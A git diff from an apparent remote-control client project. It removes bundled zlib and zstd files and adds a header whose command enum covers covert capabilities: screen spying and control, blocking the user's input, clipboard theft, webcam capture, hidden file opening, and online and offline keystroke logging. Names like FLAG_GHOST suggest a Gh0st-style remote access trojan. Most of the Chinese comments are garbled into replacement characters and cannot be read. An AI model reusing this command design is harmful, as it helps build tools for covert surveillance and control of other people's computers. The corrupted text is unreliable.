Mprintf("<EFBFBD>ͷŶ<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"ʧ<EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", GetLastError());
|
||||
}
|
||||
else {
|
||||
Mprintf("<EFBFBD>ͷŶ<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"<EFBFBD>ɹ<EFBFBD>!\n");
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
534
client/zconf.h
534
client/zconf.h
@@ -1,534 +0,0 @@
|
||||
/* zconf.h -- configuration of the zlib compression library
|
||||
* Copyright (C) 1995-2016 Jean-loup Gailly, Mark Adler
|
||||
* For conditions of distribution and use, see copyright notice in zlib.h
|
||||
*/
|
||||
|
||||
/* @(#) $Id$ */
|
||||
|
||||
#ifndef ZCONF_H
|
||||
#define ZCONF_H
|
||||
|
||||
/*
|
||||
* If you *really* need a unique prefix for all types and library functions,
|
||||
* compile with -DZ_PREFIX. The "standard" zlib should be compiled without it.
|
||||
* Even better than compiling with -DZ_PREFIX would be to use configure to set
|
||||
* this permanently in zconf.h using "./configure --zprefix".
|
||||
*/
|
||||
#ifdef Z_PREFIX /* may be set to #if 1 by ./configure */
|
||||
# define Z_PREFIX_SET
|
||||
|
||||
/* all linked symbols and init macros */
|
||||
# define _dist_code z__dist_code
|
||||
# define _length_code z__length_code
|
||||
# define _tr_align z__tr_align
|
||||
# define _tr_flush_bits z__tr_flush_bits
|
||||
# define _tr_flush_block z__tr_flush_block
|
||||
# define _tr_init z__tr_init
|
||||
# define _tr_stored_block z__tr_stored_block
|
||||
# define _tr_tally z__tr_tally
|
||||
# define adler32 z_adler32
|
||||
# define adler32_combine z_adler32_combine
|
||||
# define adler32_combine64 z_adler32_combine64
|
||||
# define adler32_z z_adler32_z
|
||||
# ifndef Z_SOLO
|
||||
# define compress z_compress
|
||||
# define compress2 z_compress2
|
||||
# define compressBound z_compressBound
|
||||
# endif
|
||||
# define crc32 z_crc32
|
||||
# define crc32_combine z_crc32_combine
|
||||
# define crc32_combine64 z_crc32_combine64
|
||||
# define crc32_z z_crc32_z
|
||||
# define deflate z_deflate
|
||||
# define deflateBound z_deflateBound
|
||||
# define deflateCopy z_deflateCopy
|
||||
# define deflateEnd z_deflateEnd
|
||||
# define deflateGetDictionary z_deflateGetDictionary
|
||||
# define deflateInit z_deflateInit
|
||||
# define deflateInit2 z_deflateInit2
|
||||
# define deflateInit2_ z_deflateInit2_
|
||||
# define deflateInit_ z_deflateInit_
|
||||
# define deflateParams z_deflateParams
|
||||
# define deflatePending z_deflatePending
|
||||
# define deflatePrime z_deflatePrime
|
||||
# define deflateReset z_deflateReset
|
||||
# define deflateResetKeep z_deflateResetKeep
|
||||
# define deflateSetDictionary z_deflateSetDictionary
|
||||
# define deflateSetHeader z_deflateSetHeader
|
||||
# define deflateTune z_deflateTune
|
||||
# define deflate_copyright z_deflate_copyright
|
||||
# define get_crc_table z_get_crc_table
|
||||
# ifndef Z_SOLO
|
||||
# define gz_error z_gz_error
|
||||
# define gz_intmax z_gz_intmax
|
||||
# define gz_strwinerror z_gz_strwinerror
|
||||
# define gzbuffer z_gzbuffer
|
||||
# define gzclearerr z_gzclearerr
|
||||
# define gzclose z_gzclose
|
||||
# define gzclose_r z_gzclose_r
|
||||
# define gzclose_w z_gzclose_w
|
||||
# define gzdirect z_gzdirect
|
||||
# define gzdopen z_gzdopen
|
||||
# define gzeof z_gzeof
|
||||
# define gzerror z_gzerror
|
||||
# define gzflush z_gzflush
|
||||
# define gzfread z_gzfread
|
||||
# define gzfwrite z_gzfwrite
|
||||
# define gzgetc z_gzgetc
|
||||
# define gzgetc_ z_gzgetc_
|
||||
# define gzgets z_gzgets
|
||||
# define gzoffset z_gzoffset
|
||||
# define gzoffset64 z_gzoffset64
|
||||
# define gzopen z_gzopen
|
||||
# define gzopen64 z_gzopen64
|
||||
# ifdef _WIN32
|
||||
# define gzopen_w z_gzopen_w
|
||||
# endif
|
||||
# define gzprintf z_gzprintf
|
||||
# define gzputc z_gzputc
|
||||
# define gzputs z_gzputs
|
||||
# define gzread z_gzread
|
||||
# define gzrewind z_gzrewind
|
||||
# define gzseek z_gzseek
|
||||
# define gzseek64 z_gzseek64
|
||||
# define gzsetparams z_gzsetparams
|
||||
# define gztell z_gztell
|
||||
# define gztell64 z_gztell64
|
||||
# define gzungetc z_gzungetc
|
||||
# define gzvprintf z_gzvprintf
|
||||
# define gzwrite z_gzwrite
|
||||
# endif
|
||||
# define inflate z_inflate
|
||||
# define inflateBack z_inflateBack
|
||||
# define inflateBackEnd z_inflateBackEnd
|
||||
# define inflateBackInit z_inflateBackInit
|
||||
# define inflateBackInit_ z_inflateBackInit_
|
||||
# define inflateCodesUsed z_inflateCodesUsed
|
||||
# define inflateCopy z_inflateCopy
|
||||
# define inflateEnd z_inflateEnd
|
||||
# define inflateGetDictionary z_inflateGetDictionary
|
||||
# define inflateGetHeader z_inflateGetHeader
|
||||
# define inflateInit z_inflateInit
|
||||
# define inflateInit2 z_inflateInit2
|
||||
# define inflateInit2_ z_inflateInit2_
|
||||
# define inflateInit_ z_inflateInit_
|
||||
# define inflateMark z_inflateMark
|
||||
# define inflatePrime z_inflatePrime
|
||||
# define inflateReset z_inflateReset
|
||||
# define inflateReset2 z_inflateReset2
|
||||
# define inflateResetKeep z_inflateResetKeep
|
||||
# define inflateSetDictionary z_inflateSetDictionary
|
||||
# define inflateSync z_inflateSync
|
||||
# define inflateSyncPoint z_inflateSyncPoint
|
||||
# define inflateUndermine z_inflateUndermine
|
||||
# define inflateValidate z_inflateValidate
|
||||
# define inflate_copyright z_inflate_copyright
|
||||
# define inflate_fast z_inflate_fast
|
||||
# define inflate_table z_inflate_table
|
||||
# ifndef Z_SOLO
|
||||
# define uncompress z_uncompress
|
||||
# define uncompress2 z_uncompress2
|
||||
# endif
|
||||
# define zError z_zError
|
||||
# ifndef Z_SOLO
|
||||
# define zcalloc z_zcalloc
|
||||
# define zcfree z_zcfree
|
||||
# endif
|
||||
# define zlibCompileFlags z_zlibCompileFlags
|
||||
# define zlibVersion z_zlibVersion
|
||||
|
||||
/* all zlib typedefs in zlib.h and zconf.h */
|
||||
# define Byte z_Byte
|
||||
# define Bytef z_Bytef
|
||||
# define alloc_func z_alloc_func
|
||||
# define charf z_charf
|
||||
# define free_func z_free_func
|
||||
# ifndef Z_SOLO
|
||||
# define gzFile z_gzFile
|
||||
# endif
|
||||
# define gz_header z_gz_header
|
||||
# define gz_headerp z_gz_headerp
|
||||
# define in_func z_in_func
|
||||
# define intf z_intf
|
||||
# define out_func z_out_func
|
||||
# define uInt z_uInt
|
||||
# define uIntf z_uIntf
|
||||
# define uLong z_uLong
|
||||
# define uLongf z_uLongf
|
||||
# define voidp z_voidp
|
||||
# define voidpc z_voidpc
|
||||
# define voidpf z_voidpf
|
||||
|
||||
/* all zlib structs in zlib.h and zconf.h */
|
||||
# define gz_header_s z_gz_header_s
|
||||
# define internal_state z_internal_state
|
||||
|
||||
#endif
|
||||
|
||||
#if defined(__MSDOS__) && !defined(MSDOS)
|
||||
# define MSDOS
|
||||
#endif
|
||||
#if (defined(OS_2) || defined(__OS2__)) && !defined(OS2)
|
||||
# define OS2
|
||||
#endif
|
||||
#if defined(_WINDOWS) && !defined(WINDOWS)
|
||||
# define WINDOWS
|
||||
#endif
|
||||
#if defined(_WIN32) || defined(_WIN32_WCE) || defined(__WIN32__)
|
||||
# ifndef WIN32
|
||||
# define WIN32
|
||||
# endif
|
||||
#endif
|
||||
#if (defined(MSDOS) || defined(OS2) || defined(WINDOWS)) && !defined(WIN32)
|
||||
# if !defined(__GNUC__) && !defined(__FLAT__) && !defined(__386__)
|
||||
# ifndef SYS16BIT
|
||||
# define SYS16BIT
|
||||
# endif
|
||||
# endif
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Compile with -DMAXSEG_64K if the alloc function cannot allocate more
|
||||
* than 64k bytes at a time (needed on systems with 16-bit int).
|
||||
*/
|
||||
#ifdef SYS16BIT
|
||||
# define MAXSEG_64K
|
||||
#endif
|
||||
#ifdef MSDOS
|
||||
# define UNALIGNED_OK
|
||||
#endif
|
||||
|
||||
#ifdef __STDC_VERSION__
|
||||
# ifndef STDC
|
||||
# define STDC
|
||||
# endif
|
||||
# if __STDC_VERSION__ >= 199901L
|
||||
# ifndef STDC99
|
||||
# define STDC99
|
||||
# endif
|
||||
# endif
|
||||
#endif
|
||||
#if !defined(STDC) && (defined(__STDC__) || defined(__cplusplus))
|
||||
# define STDC
|
||||
#endif
|
||||
#if !defined(STDC) && (defined(__GNUC__) || defined(__BORLANDC__))
|
||||
# define STDC
|
||||
#endif
|
||||
#if !defined(STDC) && (defined(MSDOS) || defined(WINDOWS) || defined(WIN32))
|
||||
# define STDC
|
||||
#endif
|
||||
#if !defined(STDC) && (defined(OS2) || defined(__HOS_AIX__))
|
||||
# define STDC
|
||||
#endif
|
||||
|
||||
#if defined(__OS400__) && !defined(STDC) /* iSeries (formerly AS/400). */
|
||||
# define STDC
|
||||
#endif
|
||||
|
||||
#ifndef STDC
|
||||
# ifndef const /* cannot use !defined(STDC) && !defined(const) on Mac */
|
||||
# define const /* note: need a more gentle solution here */
|
||||
# endif
|
||||
#endif
|
||||
|
||||
#if defined(ZLIB_CONST) && !defined(z_const)
|
||||
# define z_const const
|
||||
#else
|
||||
# define z_const
|
||||
#endif
|
||||
|
||||
#ifdef Z_SOLO
|
||||
typedef unsigned long z_size_t;
|
||||
#else
|
||||
# define z_longlong long long
|
||||
# if defined(NO_SIZE_T)
|
||||
typedef unsigned NO_SIZE_T z_size_t;
|
||||
# elif defined(STDC)
|
||||
# include <stddef.h>
|
||||
typedef size_t z_size_t;
|
||||
# else
|
||||
typedef unsigned long z_size_t;
|
||||
# endif
|
||||
# undef z_longlong
|
||||
#endif
|
||||
|
||||
/* Maximum value for memLevel in deflateInit2 */
|
||||
#ifndef MAX_MEM_LEVEL
|
||||
# ifdef MAXSEG_64K
|
||||
# define MAX_MEM_LEVEL 8
|
||||
# else
|
||||
# define MAX_MEM_LEVEL 9
|
||||
# endif
|
||||
#endif
|
||||
|
||||
/* Maximum value for windowBits in deflateInit2 and inflateInit2.
|
||||
* WARNING: reducing MAX_WBITS makes minigzip unable to extract .gz files
|
||||
* created by gzip. (Files created by minigzip can still be extracted by
|
||||
* gzip.)
|
||||
*/
|
||||
#ifndef MAX_WBITS
|
||||
# define MAX_WBITS 15 /* 32K LZ77 window */
|
||||
#endif
|
||||
|
||||
/* The memory requirements for deflate are (in bytes):
|
||||
(1 << (windowBits+2)) + (1 << (memLevel+9))
|
||||
that is: 128K for windowBits=15 + 128K for memLevel = 8 (default values)
|
||||
plus a few kilobytes for small objects. For example, if you want to reduce
|
||||
the default memory requirements from 256K to 128K, compile with
|
||||
make CFLAGS="-O -DMAX_WBITS=14 -DMAX_MEM_LEVEL=7"
|
||||
Of course this will generally degrade compression (there's no free lunch).
|
||||
|
||||
The memory requirements for inflate are (in bytes) 1 << windowBits
|
||||
that is, 32K for windowBits=15 (default value) plus about 7 kilobytes
|
||||
for small objects.
|
||||
*/
|
||||
|
||||
/* Type declarations */
|
||||
|
||||
#ifndef OF /* function prototypes */
|
||||
# ifdef STDC
|
||||
# define OF(args) args
|
||||
# else
|
||||
# define OF(args) ()
|
||||
# endif
|
||||
#endif
|
||||
|
||||
#ifndef Z_ARG /* function prototypes for stdarg */
|
||||
# if defined(STDC) || defined(Z_HAVE_STDARG_H)
|
||||
# define Z_ARG(args) args
|
||||
# else
|
||||
# define Z_ARG(args) ()
|
||||
# endif
|
||||
#endif
|
||||
|
||||
/* The following definitions for FAR are needed only for MSDOS mixed
|
||||
* model programming (small or medium model with some far allocations).
|
||||
* This was tested only with MSC; for other MSDOS compilers you may have
|
||||
* to define NO_MEMCPY in zutil.h. If you don't need the mixed model,
|
||||
* just define FAR to be empty.
|
||||
*/
|
||||
#ifdef SYS16BIT
|
||||
# if defined(M_I86SM) || defined(M_I86MM)
|
||||
/* MSC small or medium model */
|
||||
# define SMALL_MEDIUM
|
||||
# ifdef _MSC_VER
|
||||
# define FAR _far
|
||||
# else
|
||||
# define FAR far
|
||||
# endif
|
||||
# endif
|
||||
# if (defined(__SMALL__) || defined(__MEDIUM__))
|
||||
/* Turbo C small or medium model */
|
||||
# define SMALL_MEDIUM
|
||||
# ifdef __BORLANDC__
|
||||
# define FAR _far
|
||||
# else
|
||||
# define FAR far
|
||||
# endif
|
||||
# endif
|
||||
#endif
|
||||
|
||||
#if defined(WINDOWS) || defined(WIN32)
|
||||
/* If building or using zlib as a DLL, define ZLIB_DLL.
|
||||
* This is not mandatory, but it offers a little performance increase.
|
||||
*/
|
||||
# ifdef ZLIB_DLL
|
||||
# if defined(WIN32) && (!defined(__BORLANDC__) || (__BORLANDC__ >= 0x500))
|
||||
# ifdef ZLIB_INTERNAL
|
||||
# define ZEXTERN extern __declspec(dllexport)
|
||||
# else
|
||||
# define ZEXTERN extern __declspec(dllimport)
|
||||
# endif
|
||||
# endif
|
||||
# endif /* ZLIB_DLL */
|
||||
/* If building or using zlib with the WINAPI/WINAPIV calling convention,
|
||||
* define ZLIB_WINAPI.
|
||||
* Caution: the standard ZLIB1.DLL is NOT compiled using ZLIB_WINAPI.
|
||||
*/
|
||||
# ifdef ZLIB_WINAPI
|
||||
# ifdef FAR
|
||||
# undef FAR
|
||||
# endif
|
||||
# include <windows.h>
|
||||
/* No need for _export, use ZLIB.DEF instead. */
|
||||
/* For complete Windows compatibility, use WINAPI, not __stdcall. */
|
||||
# define ZEXPORT WINAPI
|
||||
# ifdef WIN32
|
||||
# define ZEXPORTVA WINAPIV
|
||||
# else
|
||||
# define ZEXPORTVA FAR CDECL
|
||||
# endif
|
||||
# endif
|
||||
#endif
|
||||
|
||||
#if defined (__BEOS__)
|
||||
# ifdef ZLIB_DLL
|
||||
# ifdef ZLIB_INTERNAL
|
||||
# define ZEXPORT __declspec(dllexport)
|
||||
# define ZEXPORTVA __declspec(dllexport)
|
||||
# else
|
||||
# define ZEXPORT __declspec(dllimport)
|
||||
# define ZEXPORTVA __declspec(dllimport)
|
||||
# endif
|
||||
# endif
|
||||
#endif
|
||||
|
||||
#ifndef ZEXTERN
|
||||
# define ZEXTERN extern
|
||||
#endif
|
||||
#ifndef ZEXPORT
|
||||
# define ZEXPORT
|
||||
#endif
|
||||
#ifndef ZEXPORTVA
|
||||
# define ZEXPORTVA
|
||||
#endif
|
||||
|
||||
#ifndef FAR
|
||||
# define FAR
|
||||
#endif
|
||||
|
||||
#if !defined(__MACTYPES__)
|
||||
typedef unsigned char Byte; /* 8 bits */
|
||||
#endif
|
||||
typedef unsigned int uInt; /* 16 bits or more */
|
||||
typedef unsigned long uLong; /* 32 bits or more */
|
||||
|
||||
#ifdef SMALL_MEDIUM
|
||||
/* Borland C/C++ and some old MSC versions ignore FAR inside typedef */
|
||||
# define Bytef Byte FAR
|
||||
#else
|
||||
typedef Byte FAR Bytef;
|
||||
#endif
|
||||
typedef char FAR charf;
|
||||
typedef int FAR intf;
|
||||
typedef uInt FAR uIntf;
|
||||
typedef uLong FAR uLongf;
|
||||
|
||||
#ifdef STDC
|
||||
typedef void const *voidpc;
|
||||
typedef void FAR *voidpf;
|
||||
typedef void *voidp;
|
||||
#else
|
||||
typedef Byte const *voidpc;
|
||||
typedef Byte FAR *voidpf;
|
||||
typedef Byte *voidp;
|
||||
#endif
|
||||
|
||||
#if !defined(Z_U4) && !defined(Z_SOLO) && defined(STDC)
|
||||
# include <limits.h>
|
||||
# if (UINT_MAX == 0xffffffffUL)
|
||||
# define Z_U4 unsigned
|
||||
# elif (ULONG_MAX == 0xffffffffUL)
|
||||
# define Z_U4 unsigned long
|
||||
# elif (USHRT_MAX == 0xffffffffUL)
|
||||
# define Z_U4 unsigned short
|
||||
# endif
|
||||
#endif
|
||||
|
||||
#ifdef Z_U4
|
||||
typedef Z_U4 z_crc_t;
|
||||
#else
|
||||
typedef unsigned long z_crc_t;
|
||||
#endif
|
||||
|
||||
#ifdef HAVE_UNISTD_H /* may be set to #if 1 by ./configure */
|
||||
# define Z_HAVE_UNISTD_H
|
||||
#endif
|
||||
|
||||
#ifdef HAVE_STDARG_H /* may be set to #if 1 by ./configure */
|
||||
# define Z_HAVE_STDARG_H
|
||||
#endif
|
||||
|
||||
#ifdef STDC
|
||||
# ifndef Z_SOLO
|
||||
# include <sys/types.h> /* for off_t */
|
||||
# endif
|
||||
#endif
|
||||
|
||||
#if defined(STDC) || defined(Z_HAVE_STDARG_H)
|
||||
# ifndef Z_SOLO
|
||||
# include <stdarg.h> /* for va_list */
|
||||
# endif
|
||||
#endif
|
||||
|
||||
#ifdef _WIN32
|
||||
# ifndef Z_SOLO
|
||||
# include <stddef.h> /* for wchar_t */
|
||||
# endif
|
||||
#endif
|
||||
|
||||
/* a little trick to accommodate both "#define _LARGEFILE64_SOURCE" and
|
||||
* "#define _LARGEFILE64_SOURCE 1" as requesting 64-bit operations, (even
|
||||
* though the former does not conform to the LFS document), but considering
|
||||
* both "#undef _LARGEFILE64_SOURCE" and "#define _LARGEFILE64_SOURCE 0" as
|
||||
* equivalently requesting no 64-bit operations
|
||||
*/
|
||||
#if defined(_LARGEFILE64_SOURCE) && -_LARGEFILE64_SOURCE - -1 == 1
|
||||
# undef _LARGEFILE64_SOURCE
|
||||
#endif
|
||||
|
||||
#if defined(__WATCOMC__) && !defined(Z_HAVE_UNISTD_H)
|
||||
# define Z_HAVE_UNISTD_H
|
||||
#endif
|
||||
#ifndef Z_SOLO
|
||||
# if defined(Z_HAVE_UNISTD_H) || defined(_LARGEFILE64_SOURCE)
|
||||
# include <unistd.h> /* for SEEK_*, off_t, and _LFS64_LARGEFILE */
|
||||
# ifdef VMS
|
||||
# include <unixio.h> /* for off_t */
|
||||
# endif
|
||||
# ifndef z_off_t
|
||||
# define z_off_t off_t
|
||||
# endif
|
||||
# endif
|
||||
#endif
|
||||
|
||||
#if defined(_LFS64_LARGEFILE) && _LFS64_LARGEFILE-0
|
||||
# define Z_LFS64
|
||||
#endif
|
||||
|
||||
#if defined(_LARGEFILE64_SOURCE) && defined(Z_LFS64)
|
||||
# define Z_LARGE64
|
||||
#endif
|
||||
|
||||
#if defined(_FILE_OFFSET_BITS) && _FILE_OFFSET_BITS-0 == 64 && defined(Z_LFS64)
|
||||
# define Z_WANT64
|
||||
#endif
|
||||
|
||||
#if !defined(SEEK_SET) && !defined(Z_SOLO)
|
||||
# define SEEK_SET 0 /* Seek from beginning of file. */
|
||||
# define SEEK_CUR 1 /* Seek from current position. */
|
||||
# define SEEK_END 2 /* Set file pointer to EOF plus "offset" */
|
||||
#endif
|
||||
|
||||
#ifndef z_off_t
|
||||
# define z_off_t long
|
||||
#endif
|
||||
|
||||
#if !defined(_WIN32) && defined(Z_LARGE64)
|
||||
# define z_off64_t off64_t
|
||||
#else
|
||||
# if defined(_WIN32) && !defined(__GNUC__) && !defined(Z_SOLO)
|
||||
# define z_off64_t __int64
|
||||
# else
|
||||
# define z_off64_t z_off_t
|
||||
# endif
|
||||
#endif
|
||||
|
||||
/* MVS linker does not support external names larger than 8 bytes */
|
||||
#if defined(__MVS__)
|
||||
#pragma map(deflateInit_,"DEIN")
|
||||
#pragma map(deflateInit2_,"DEIN2")
|
||||
#pragma map(deflateEnd,"DEEND")
|
||||
#pragma map(deflateBound,"DEBND")
|
||||
#pragma map(inflateInit_,"ININ")
|
||||
#pragma map(inflateInit2_,"ININ2")
|
||||
#pragma map(inflateEnd,"INEND")
|
||||
#pragma map(inflateSync,"INSY")
|
||||
#pragma map(inflateSetDictionary,"INSEDI")
|
||||
#pragma map(compressBound,"CMBND")
|
||||
#pragma map(inflate_table,"INTABL")
|
||||
#pragma map(inflate_fast,"INFA")
|
||||
#pragma map(inflate_copyright,"INCOPY")
|
||||
#endif
|
||||
|
||||
#endif /* ZCONF_H */
|
||||
1912
client/zlib.h
1912
client/zlib.h
File diff suppressed because it is too large
Load Diff
BIN
client/zlib.lib
BIN
client/zlib.lib
Binary file not shown.
1766
client/zstd/zstd.h
1766
client/zstd/zstd.h
File diff suppressed because it is too large
Load Diff
Binary file not shown.
330
common/commands.h
Normal file
330
common/commands.h
Normal file
@@ -0,0 +1,330 @@
|
||||
#pragma once
|
||||
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <time.h>
|
||||
|
||||
#ifndef _MAX_PATH
|
||||
#define _MAX_PATH 260
|
||||
#endif
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>2<EFBFBD><32><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB>Ψһ<CEA8><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><C9B7><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
#define FLAG_FINDEN 0x1234567
|
||||
|
||||
#define FLAG_GHOST 0x7654321
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Է<EFBFBD><D4B7><EFBFBD><EFBFBD>仯ʱ<E4BBAF><CAB1>Ӧ<EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Ա<EFBFBD><D4B1>Ա<EFBFBD><D4B1>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
#define DLL_VERSION __DATE__ // DLL<4C>汾
|
||||
|
||||
#define TALK_DLG_MAXLEN 1024 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>ö<EFBFBD><C3B6><EFBFBD>б<EFBFBD>
|
||||
enum
|
||||
{
|
||||
// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>䷽ʽ
|
||||
TRANSFER_MODE_NORMAL = 0x00, // һ<><D2BB>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD>Ѿ<EFBFBD><D1BE>У<EFBFBD>ȡ<EFBFBD><C8A1>
|
||||
TRANSFER_MODE_ADDITION, // <><D7B7>
|
||||
TRANSFER_MODE_ADDITION_ALL, // ȫ<><C8AB><EFBFBD><D7B7>
|
||||
TRANSFER_MODE_OVERWRITE, // <20><><EFBFBD><EFBFBD>
|
||||
TRANSFER_MODE_OVERWRITE_ALL, // ȫ<><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TRANSFER_MODE_JUMP, // <20><><EFBFBD><EFBFBD>
|
||||
TRANSFER_MODE_JUMP_ALL, // ȫ<><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TRANSFER_MODE_CANCEL, // ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
// <20><><EFBFBD>ƶ˷<C6B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_ACTIVED = 0x00, // <20><><EFBFBD><EFBFBD><EFBFBD>˿<EFBFBD><CBBF>Լ<EFBFBD><D4BC>ʼ<EEBFAA><CABC><EFBFBD><EFBFBD>
|
||||
COMMAND_LIST_DRIVE, // <20>г<EFBFBD><D0B3><EFBFBD><EFBFBD><EFBFBD>Ŀ¼
|
||||
COMMAND_LIST_FILES, // <20>г<EFBFBD>Ŀ¼<C4BF>е<EFBFBD><D0B5>ļ<EFBFBD>
|
||||
COMMAND_DOWN_FILES, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||
COMMAND_FILE_SIZE, // <20>ϴ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>С
|
||||
COMMAND_FILE_DATA, // <20>ϴ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_EXCEPTION, // <20><><EFBFBD>䷢<EFBFBD><E4B7A2><EFBFBD>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD>´<EFBFBD><C2B4><EFBFBD>
|
||||
COMMAND_CONTINUE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_STOP, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֹ
|
||||
COMMAND_DELETE_FILE, // ɾ<><C9BE><EFBFBD>ļ<EFBFBD>
|
||||
COMMAND_DELETE_DIRECTORY, // ɾ<><C9BE>Ŀ¼
|
||||
COMMAND_SET_TRANSFER_MODE, // <20><><EFBFBD>ô<EFBFBD><C3B4>䷽ʽ
|
||||
COMMAND_CREATE_FOLDER, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
||||
COMMAND_RENAME_FILE, // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_OPEN_FILE_SHOW, // <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||
COMMAND_OPEN_FILE_HIDE, // <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||
|
||||
COMMAND_SCREEN_SPY, // <20><>Ļ<EFBFBD>鿴
|
||||
COMMAND_SCREEN_RESET, // <20>ı<EFBFBD><C4B1><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD>
|
||||
COMMAND_ALGORITHM_RESET, // <20>ı<EFBFBD><C4B1>㷨
|
||||
COMMAND_SCREEN_CTRL_ALT_DEL, // <20><><EFBFBD><EFBFBD>Ctrl+Alt+Del
|
||||
COMMAND_SCREEN_CONTROL, // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD>
|
||||
COMMAND_SCREEN_BLOCK_INPUT, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˼<EFBFBD><CBBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_SCREEN_BLANK, // <20><><EFBFBD><EFBFBD><EFBFBD>˺<EFBFBD><CBBA><EFBFBD>
|
||||
COMMAND_SCREEN_CAPTURE_LAYER, // <20><><EFBFBD><D7BD>
|
||||
COMMAND_SCREEN_GET_CLIPBOARD, // <20><>ȡԶ<C8A1>̼<EFBFBD><CCBC><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_SCREEN_SET_CLIPBOARD, // <20><><EFBFBD><EFBFBD>Զ<EFBFBD>̼<EFBFBD><CCBC><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
COMMAND_WEBCAM, // <20><><EFBFBD><EFBFBD>ͷ
|
||||
COMMAND_WEBCAM_ENABLECOMPRESS, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>Ҫ<EFBFBD><EFBFBD>H263ѹ<33><D1B9>
|
||||
COMMAND_WEBCAM_DISABLECOMPRESS, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>ԭʼ<D4AD><CABC><EFBFBD><EFBFBD>ģʽ
|
||||
COMMAND_WEBCAM_RESIZE, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD><D6B1>ʣ<EFBFBD><CAA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>INT<4E>͵Ŀ<CDB5><C4BF><EFBFBD>
|
||||
COMMAND_NEXT, // <20><>һ<EFBFBD><D2BB>(<28><><EFBFBD>ƶ<EFBFBD><C6B6>Ѿ<EFBFBD><D1BE>Ի<F2BFAAB6><D4BB><EFBFBD>)
|
||||
|
||||
COMMAND_KEYBOARD, // <20><><EFBFBD>̼<EFBFBD>¼
|
||||
COMMAND_KEYBOARD_OFFLINE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><DFBC>̼<EFBFBD>¼
|
||||
COMMAND_KEYBOARD_CLEAR, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD>
|
||||
|
||||
